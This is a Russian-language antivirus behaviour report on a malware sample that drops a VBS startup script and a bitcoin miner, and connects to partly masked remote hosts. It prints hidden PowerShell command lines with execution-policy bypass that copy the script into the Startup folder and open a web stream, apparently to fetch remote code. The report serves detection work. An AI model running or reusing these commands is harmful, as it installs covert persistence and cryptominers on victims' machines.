Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\dll.vbs
Изменения в файловой системе
Создает следующие файлы
- %WINDIR%\dll.vbs
- %WINDIR%\bitcoinminermachine.exe
Сетевая активность
Подключается к
- 'ur#####ar.ddnsgeek.com':5552
TCP
- 'h.###4top.io':443
UDP
- DNS ASK h.###4top.io
- DNS ASK ur#####ar.ddnsgeek.com
Другое
Создает и запускает на исполнение
- '%WINDIR%\syswow64\wscript.exe' "%WINDIR%\dll.vbs"
- '%WINDIR%\bitcoinminermachine.exe'
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\dll.vbs',[System.IO.File]::ReadAllText('%WINDIR%\dll.vbs'))"' (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -noexit -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead('https://h.top4to...' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\dll.vbs',[System.IO.File]::ReadAllText('%WINDIR%\dll.vbs'))"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -noexit -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead('https://h.top4to...
